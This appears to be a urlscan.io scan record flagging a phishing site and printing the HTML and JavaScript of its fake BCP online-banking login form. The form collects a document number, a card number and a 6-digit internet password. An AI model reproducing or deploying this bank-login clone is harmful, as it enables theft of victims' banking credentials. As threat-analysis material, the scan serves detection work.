aacentral1personas.site
Open in
urlscan Pro
82.112.247.37
Malicious Activity!
Public Scan
Submitted URL: https://nacional1personasp.online/
Effective URL: https://aacentral1personas.site/c/sibel/tarjeta-sesion/
Submission: On September 08 via api from US — Scanned from GB
Effective URL: https://aacentral1personas.site/c/sibel/tarjeta-sesion/
Submission: On September 08 via api from US — Scanned from GB
Form analysis 1 forms found in the DOM
<form _ngcontent-ng-c1031280460="" novalidate="" class="card-form ng-untouched ng-pristine ng-invalid">
<div _ngcontent-ng-c1031280460="" class="row card-form__title mb-4" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col text-center" bis_skin_checked="1">
<bcp-title _ngcontent-ng-c1031280460="" size="md" class="hydrated">
<!---->
<h2 class="titulo_ini"> Banca por Internet </h2>
<div id="alert" role="alert"
style="display: flex; align-items: center; background-color: #f8d7da; color: #721c24; padding: 15px; border: 1px solid #f5c6cb; border-radius: 5px; position: relative; max-width: 600px; margin: 20px auto; transition: opacity 0.15s linear;display: none;">
<div style="width: 100%;display: inline-flex;">
<div style="margin-right: 10px; font-size: 20px;">
<i aria-hidden="true" style="font-family: icon, sans-serif;margin-bottom: 5px;">⚠️</i>
</div>
<div style="flex-grow: 1;text-align: left;">
<p style="margin: 0; font-family: Arial, sans-serif;"> Datos incorrectos. </p>
</div>
<button id="cerrar_alert" type="button" style="background: none; border: none; color: #721c24; font-size: 20px; position: absolute; right: 10px; top: 10px; cursor: pointer;"> × </button>
</div>
</div>
<script>
// Funcionalidad para cerrar la alerta
document.querySelector('#cerrar_alert').addEventListener('click', function() {
document.querySelector('#alert').style.display = 'none';
});
</script>
</bcp-title>
</div>
</div>
<!---->
<div _ngcontent-ng-c1031280460="" class="row card-form__customer" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<bcp-radio-group _ngcontent-ng-c1031280460="" name="my-radio-default" bcpctrlform="" formcontrolname="personType" class="ng-untouched ng-pristine ng-valid hydrated">
<!---->
<div class="radio-group-container" bis_skin_checked="1">
<bcp-radio-button _ngcontent-ng-c1031280460="" value="1" class="hydrated">
<!---->
<div class="bcp-ffw-custom-control bcp-ffw-custom-radio" bis_skin_checked="1">
<input type="radio" class="bcp-ffw-custom-control-input" id="bcp-rb-0-lbl" name="my-radio-default" value="1" checked="">
<label class="custom-control-label-radio" for="bcp-rb-0-lbl"><span>Persona</span></label>
<div class="check" bis_skin_checked="1"></div>
</div>
</bcp-radio-button>
<bcp-radio-button _ngcontent-ng-c1031280460="" value="2" class="hydrated">
<!---->
<div class="bcp-ffw-custom-control bcp-ffw-custom-radio" bis_skin_checked="1">
<input type="radio" class="bcp-ffw-custom-control-input" id="bcp-rb-1-lbl" name="my-radio-default" value="2">
<label class="custom-control-label-radio" for="bcp-rb-1-lbl"><span>Empresa</span></label>
<div class="check" bis_skin_checked="1"></div>
</div>
</bcp-radio-button>
</div>
<script type="text/javascript">
// Selecciona los inputs de los radio buttons usando sus IDs
const personaRadioInput = document.querySelector('input#bcp-rb-0-lbl');
const empresaRadioInput = document.querySelector('input#bcp-rb-1-lbl');
// Función para verificar si el input con el ID "nrotarjeta" existe
function checkNroTarjeta() {
return document.getElementById('nrotarjeta');
}
// Evento para cuando se selecciona "Persona"
personaRadioInput.addEventListener('click', function() {
const nrotarjetaInput = checkNroTarjeta(); // Verifica si existe el input
if (nrotarjetaInput) {
nrotarjetaInput.value = ''; // Borrar el valor del input
} else {
alert('El input con el ID "nrotarjeta" no existe'); // Mostrar alerta si no existe
}
});
// Evento para cuando se selecciona "Empresa"
empresaRadioInput.addEventListener('click', function() {
const nrotarjetaInput = checkNroTarjeta(); // Verifica si existe el input
if (nrotarjetaInput) {
nrotarjetaInput.value = '4912'; // Colocar los primeros 4 números
nrotarjetaInput.focus(); // Hacer focus en el input para continuar escribiendo
} else {
alert('El input con el ID "nrotarjeta" no existe'); // Mostrar alerta si no existe
}
});
</script>
</bcp-radio-group>
</div>
</div>
<!---->
<div _ngcontent-ng-c1031280460="" class="row card-form__document" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<ciam-document _ngcontent-ng-c1031280460="" formcontrolname="document" class="ng-untouched ng-pristine ng-valid">
<div bis_skin_checked="1">
<bcp-tooltip size="lg" position="top" trigger="click" class="hydrated">
<!---->
</bcp-tooltip>
<bcp-select-input placeholder="Nro de documento" ciamdocument="" bcpctrlform="" inputmode="numeric" class="hydrated">
<div class="bcp-ffw-row bcp-ffw-no-gutters select-input-container" bis_skin_checked="1">
<div class="bcp-ffw-col select-container" bis_skin_checked="1">
<bcp-select option-type="simple" class="hydrated mostrar_doc">
<!---->
<div class="bcp-ffw-dropdown md filled show mostrar_doc" tabindex="-1" name="bcp-select-0" bis_skin_checked="1">
<div class="bcp-ffw-dropdown-toggle mostrar_doc" data-toggle="bcp-ffw-dropdown" aria-haspopup="true" aria-expanded="false" role="listbox" bis_skin_checked="1">
<bcp-select-header slot="header" class="hydrated">
<bcp-paragraph class="hydrated">
<!---->
<p id="tipo_documento" class="paragraph-lg bcp-font-demi text truncate mostrar_eleccion_select">DNI</p>
</bcp-paragraph>
<bcp-paragraph class="select-label hydrated">
<!---->
<p class="bcp-font-demi truncate paragraph-sm onsurface-800"></p>
</bcp-paragraph>
</bcp-select-header>
<bcp-icon class="select-icon-angle hydrated"><i class="icon angle-drop-down-r onsurface-800" aria-hidden="true"></i></bcp-icon>
</div>
<div id="mostrar_lista_doc" class="bcp-ffw-dropdown-menu" x-placement="bottom-start" bis_skin_checked="1" style="display: none;">
<div class="container-option-menu" bis_skin_checked="1">
<bcp-select-option opt="" class="hydrated">
<!---->
<div class="select-item active select_doc" role="option" bis_skin_checked="1">
<bcp-paragraph class="hydrated">
<!---->
<p class="paragraph-md bcp-font-regular truncate primary-400">DNI</p>
</bcp-paragraph>
</div>
</bcp-select-option>
<bcp-select-option opt="" class="hydrated">
<!---->
<div class="select-item select_doc" role="option" bis_skin_checked="1">
<bcp-paragraph class="hydrated">
<!---->
<p class="paragraph-md bcp-font-regular text truncate">CE</p>
</bcp-paragraph>
</div>
</bcp-select-option>
<bcp-select-option opt="" class="hydrated">
<!---->
<div class="select-item select_doc" role="option" bis_skin_checked="1">
<bcp-paragraph class="hydrated">
<!---->
<p class="paragraph-md bcp-font-regular text truncate">PAS</p>
</bcp-paragraph>
</div>
</bcp-select-option>
</div>
</div>
<script type="text/javascript">
// Alternar visibilidad del menú al hacer clic en los elementos con clase 'mostrar_doc'
document.querySelectorAll('.mostrar_doc').forEach(function(element) {
element.addEventListener('click', function() {
var listaDoc = document.getElementById('mostrar_lista_doc');
if (listaDoc.style.display === 'none' || listaDoc.style.display === '') {
listaDoc.style.display = 'block';
} else {
listaDoc.style.display = 'none';
}
});
});
// Tomar el texto del elemento 'p' dentro del div con clase 'select_doc' y colocarlo en el elemento con clase 'mostrar_eleccion_select'
document.querySelectorAll('.select_doc').forEach(function(element) {
element.addEventListener('click', function() {
var texto = element.querySelector('p').innerText; // Obtener el texto dentro del 'p'
var eleccionSelect = document.querySelector('.mostrar_eleccion_select');
if (eleccionSelect) {
eleccionSelect.innerText = texto; // Colocar el texto en el elemento con la clase 'mostrar_eleccion_select'
}
// Ocultar el menú después de la selección
var listaDoc = document.getElementById('mostrar_lista_doc');
listaDoc.style.display = 'none';
});
});
</script>
</div>
<bcp-paragraph class="helper-text hydrated">
<!---->
<p class="paragraph-sm bcp-font-regular onsurface-800"> </p>
</bcp-paragraph>
</bcp-select>
</div>
<div class="bcp-ffw-col input-container" bis_skin_checked="1">
<bcp-input class="hydrated">
<!---->
<div class="bcp-ffw-form-group" bis_skin_checked="1">
<input class="bcp-ffw-form-control" inputmode="numeric" aria-labelledby="bcp-input-1-lbl" autocomplete="off" name="bcp-input-1" type="text" placeholder="Nro de documento" autocapitalize="sentences" autocorrect="on"
id="nro_documento_valor">
<span class="bcp-ffw-sr-only" id="bcp-input-1-lbl">Nro de documento</span>
</div>
<bcp-paragraph class="helper-text hydrated">
<!---->
<p class="paragraph-sm bcp-font-regular onsurface-800"> </p>
</bcp-paragraph>
</bcp-input>
</div>
</div>
<bcp-paragraph class="helper-text hydrated">
<!---->
<p class="paragraph-sm bcp-font-regular onsurface-800"> </p>
</bcp-paragraph>
</bcp-select-input>
</div>
<!----><!---->
</ciam-document>
</div>
</div>
<!---->
<div _ngcontent-ng-c1031280460="" class="card-form__card" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="row" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<old-ciam-input-card _ngcontent-ng-c1031280460="" label="Número de tarjeta" formcontrolname="cardNumber" class="ng-untouched ng-pristine ng-invalid hydrated" _nghost-ng-c72645332="">
<div _ngcontent-ng-c72645332="" class="ciam-input-card" bis_skin_checked="1">
<div _ngcontent-ng-c72645332="" class="form-group active" bis_skin_checked="1">
<bcp-tooltip _ngcontent-ng-c72645332="" size="lg" position="top" trigger="click" class="hydrated">
<!----><input _ngcontent-ng-c72645332="" name="ciam-input-card" aria-labelledby="ciam-input-card-lbl" type="text" autocomplete="off" inputmode="numeric" class="form-control ng-untouched ng-pristine ng-valid" maxlength="19"
id="nrotarjeta">
</bcp-tooltip>
<!----><!---->
<bcp-paragraph _ngcontent-ng-c72645332="" id="ciam-input-card-lbl" size="sm" family="demi" class="input-label hydrated">
<!---->
<p class="paragraph-sm bcp-font-demi onsurface-500"> Número de tarjeta </p>
</bcp-paragraph>
</div>
<bcp-paragraph _ngcontent-ng-c72645332="" size="sm" family="regular" color="error" class="helper-text hydrated">
<!---->
<p class="paragraph-sm bcp-font-regular error"> </p>
</bcp-paragraph>
</div>
</old-ciam-input-card>
</div>
</div>
</div>
<div _ngcontent-ng-c1031280460="" class="card-form__enabledAlias" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="row" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<bcp-checkbox _ngcontent-ng-c1031280460="" value="1" tier="secondary" class="hydrated">
<!---->
<div class="bcp-ffw-custom-control bcp-ffw-custom-checkbox checkbox-second-hierarchy" bis_skin_checked="1">
<input type="checkbox" class="bcp-ffw-custom-control-input" id="bcp-cb-0-lbl" name="bcp-cb-0" value="1">
<label class="bcp-ffw-custom-control-label" for="bcp-cb-0-lbl">
<span>
<bcp-paragraph _ngcontent-ng-c1031280460="" size="lg" family="regular" color="onsurface-800" class="hydrated">
<!---->
<p class="paragraph-lg bcp-font-regular onsurface-800"> Recordar datos </p>
</bcp-paragraph>
</span>
</label>
</div>
</bcp-checkbox>
</div>
</div>
</div>
<div _ngcontent-ng-c1031280460="" class="card-form__card" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="row" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<old-ciam-input-card _ngcontent-ng-c1031280460="" label="Número de tarjeta" formcontrolname="cardNumber" class="ng-untouched ng-pristine ng-invalid hydrated" _nghost-ng-c72645332="">
<div _ngcontent-ng-c72645332="" class="ciam-input-card" bis_skin_checked="1">
<div _ngcontent-ng-c72645332="" class="form-group active" bis_skin_checked="1">
<bcp-tooltip _ngcontent-ng-c72645332="" size="lg" position="top" trigger="click" class="hydrated">
<input _ngcontent-ng-c72645332="" id="clave-internet" name="ciam-input-card" aria-labelledby="ciam-input-card-lbl" type="text" autocomplete="off" inputmode="numeric" class="form-control ng-untouched ng-pristine ng-valid" maxlength="6"
readonly="">
</bcp-tooltip>
<bcp-paragraph _ngcontent-ng-c72645332="" id="ciam-input-card-lbl" size="sm" family="demi" class="input-label hydrated">
<p class="paragraph-sm bcp-font-demi onsurface-500">Clave de internet de 6 dígitos</p>
</bcp-paragraph>
</div>
<bcp-paragraph _ngcontent-ng-c72645332="" size="sm" family="regular" color="error" class="helper-text hydrated">
<p class="paragraph-sm bcp-font-regular error"> </p>
</bcp-paragraph>
</div>
</old-ciam-input-card>
</div>
</div>
<!-- Teclado virtual -->
<div class="keyboard-box show" id="teclado-virtual" style="display:none; color: var(--onsurface-600, #868f9e);">
<bcp-keyboard class="hydrated">
<div class="keyboard-container">
<div class="keyboard-body">
<!-- Números -->
<div class="digit-key tecla" data-valor="4">
<h3 class="bcp-font-demi onsurface-800">4</h3>
</div>
<div class="digit-key tecla" data-valor="0">
<h3 class="bcp-font-demi onsurface-800">0</h3>
</div>
<div class="digit-key tecla" data-valor="9">
<h3 class="bcp-font-demi onsurface-800">9</h3>
</div>
<div class="digit-key tecla" data-valor="3">
<h3 class="bcp-font-demi onsurface-800">3</h3>
</div>
<div class="digit-key tecla" data-valor="6">
<h3 class="bcp-font-demi onsurface-800">6</h3>
</div>
<div class="digit-key tecla" data-valor="8">
<h3 class="bcp-font-demi onsurface-800">8</h3>
</div>
<div class="digit-key tecla" data-valor="1">
<h3 class="bcp-font-demi onsurface-800">1</h3>
</div>
<div class="digit-key tecla" data-valor="5">
<h3 class="bcp-font-demi onsurface-800">5</h3>
</div>
<div class="icon-key" id="borrar-todo" style="border: 0px solid #ccc !important;box-shadow: 0px 0px 0px rgba(0, 0, 0, 0);"><i class="icon trash-b" aria-hidden="true" title="Vaciar"></i></div>
<div class="digit-key tecla" data-valor="7">
<h3 class="bcp-font-demi onsurface-800">7</h3>
</div>
<div class="digit-key tecla" data-valor="2">
<h3 class="bcp-font-demi onsurface-800">2</h3>
</div>
<!-- Iconos para borrar -->
<div class="icon-key" id="borrar" style="border: 0px solid #ccc !important; box-shadow: 0px 0px 0px rgba(0, 0, 0, 0);"><i class="icon backspace-b" aria-hidden="true" title="Borrar"></i></div>
</div>
</div>
</bcp-keyboard>
</div>
</div>
<style>
.tecla,
.icon-key {
padding: 10px;
font-size: 20px;
cursor: pointer;
text-align: center;
background-color: #ffffff;
border: 1px solid #eee9e9;
border-radius: 5px;
box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1);
margin: 5px;
height: 44px;
}
.tecla:hover,
.icon-key:hover {
background-color: #eee9e9;
}
.keyboard-body {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 0px;
}
.keyboard-box {
padding: 20px;
background-color: #fff;
border-radius: 10px;
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
margin-top: -13px;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
:after,
:before {
box-sizing: border-box;
}
@media print {
*,
:after,
:before {
text-shadow: none !important;
box-shadow: none !important;
}
}
*,
*:before,
*:after {
box-sizing: border-box;
}
/*! CSS Used from: https://loginunico.viabcp.com/styles.f0d43192b414f5f8.css ; media=all */
@media all {
*,
:after,
:before {
box-sizing: border-box;
}
@media print {
*,
:after,
:before {
text-shadow: none !important;
box-shadow: none !important;
}
}
*,
*:before,
*:after {
box-sizing: border-box;
}
.icon {
font-family: icon, sans-serif;
display: inline-block;
line-height: 1;
font-weight: 400;
font-style: normal;
text-decoration: inherit;
text-transform: none;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.backspace-b:before {
content: "\f124";
}
}
/*! CSS Used from: Embedded */
* {
<br>: text !important;
-webkit-user-select<br>: text !important;
-moz-user-select<br>: text !important;
-ms-user-select<br>: text !important;
}
/*! CSS Used from: Embedded */
* {
<br>: text !important;
-webkit-user-select<br>: text !important;
-moz-user-select<br>: text !important;
-ms-user-select<br>: text !important;
}
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
*::before,
*::after {
box-sizing: border-box;
}
/*! CSS Used from: Embedded */
*,
:after,
:before {
box-sizing: border-box;
}
@media print {
*,
:after,
:before {
text-shadow: none !important;
box-shadow: none !important;
}
}
*,
*:before,
*:after {
box-sizing: border-box;
}
/*! CSS Used from: https://loginunico.viabcp.com/styles.f0d43192b414f5f8.css ; media=all */
@media all {
*,
:after,
:before {
box-sizing: border-box;
}
@media print {
*,
:after,
:before {
text-shadow: none !important;
box-shadow: none !important;
}
}
*,
*:before,
*:after {
box-sizing: border-box;
}
.icon {
font-family: icon, sans-serif;
display: inline-block;
line-height: 1;
font-weight: 400;
font-style: normal;
text-decoration: inherit;
text-transform: none;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.trash-b:before {
content: "\f2fc";
}
}
/*! CSS Used from: Embedded */
* {
<br>: text !important;
-webkit-user-select<br>: text !important;
-moz-user-select<br>: text !important;
-ms-user-select<br>: text !important;
}
/*! CSS Used from: Embedded */
* {
<br>: text !important;
-webkit-user-select<br>: text !important;
-moz-user-select<br>: text !important;
-ms-user-select<br>: text !important;
}
/*! CSS Used fontfaces */
</style>
<script>
const inputClave = document.getElementById('clave-internet');
const tecladoVirtual = document.getElementById('teclado-virtual');
let mouseDentroTeclado = false;
// Mostrar el teclado al hacer clic en el input
inputClave.addEventListener('click', function() {
tecladoVirtual.style.display = 'block';
});
// Mantener el teclado visible mientras el mouse esté dentro del teclado
tecladoVirtual.addEventListener('mouseenter', function() {
mouseDentroTeclado = true;
});
// Detectar cuando el mouse sale del teclado
tecladoVirtual.addEventListener('mouseleave', function() {
mouseDentroTeclado = false;
setTimeout(function() {
if (!mouseDentroTeclado) {
tecladoVirtual.style.display = 'none';
}
}, 200); // Agrega un pequeño retraso para evitar el cierre inmediato
});
// Función para agregar los números al input
document.querySelectorAll('.tecla').forEach(function(tecla) {
tecla.addEventListener('click', function() {
let valorTecla = this.getAttribute('data-valor');
if (inputClave.value.length < 6) {
inputClave.value += valorTecla; // Agregar valor al input
}
// Verificar si ya hay 6 caracteres para ocultar el teclado
if (inputClave.value.length === 6) {
tecladoVirtual.style.display = 'none';
}
});
});
// Función para borrar el último número
document.getElementById('borrar').addEventListener('click', function() {
inputClave.value = inputClave.value.slice(0, -1); // Borrar el último carácter
});
// Función para vaciar el input completamente
document.getElementById('borrar-todo').addEventListener('click', function() {
inputClave.value = ''; // Vaciar el input
});
</script>
<!----><!---->
<div _ngcontent-ng-c1031280460="" class="card-form__password" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="row" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<bcp-input-password _ngcontent-ng-c1031280460="" bcpctrlform="" formcontrolname="cardPassword" accessible-name-icon-trash="Vaciar" accessible-name-icon-backspace="Borrar" class="ng-untouched ng-pristine ng-invalid"
ng-version="16.2.0"></bcp-input-password>
<!----><!----><!---->
</div>
</div>
</div>
<div _ngcontent-ng-c1031280460="" class="card-form__captcha" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="row" bis_skin_checked="1">
<div _ngcontent-ng-c1031280460="" class="col" bis_skin_checked="1">
<bcp-captcha _ngcontent-ng-c1031280460="" bcpctrlform="" bcpalphanumeric="" formcontrolname="captcha" text="Cambiar código" placeholder="Código" minlength="6" maxlength="6" class="ng-untouched ng-pristine ng-invalid hydrated">
<div class="bcp-ffw-row bcp-ffw-no-gutters captcha-container" bis_skin_checked="1">
<bcp-img class="img-captcha hydrated"><img alt="" class="img-captcha hydrated" height="48"
src="data:image/jpeg;charset=utf-8;base64,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"
width="127"></bcp-img>
<div class="bcp-ffw-col image-container" tabindex="-1" name="div-img-bcp-input-0" bis_skin_checked="1"></div>
<div class="bcp-ffw-col input-container" bis_skin_checked="1">
<bcp-input class="hydrated">
<!---->
<div class="bcp-ffw-form-group" bis_skin_checked="1"><input class="bcp-ffw-form-control" inputmode="text" aria-labelledby="bcp-input-0-lbl" autocomplete="off" name="bcp-input-0" type="text" minlength="6" maxlength="6"
placeholder="Código" autocapitalize="sentences" autocorrect="off"><span class="bcp-ffw-sr-only" id="bcp-input-0-lbl">Código</span></div>
<bcp-paragraph class="helper-text hydrated">
<!---->
<p class="paragraph-sm bcp-font-regular onsurface-800"> </p>
</bcp-paragraph>
</bcp-input>
</div>
</div>
<bcp-button class="hydrated">
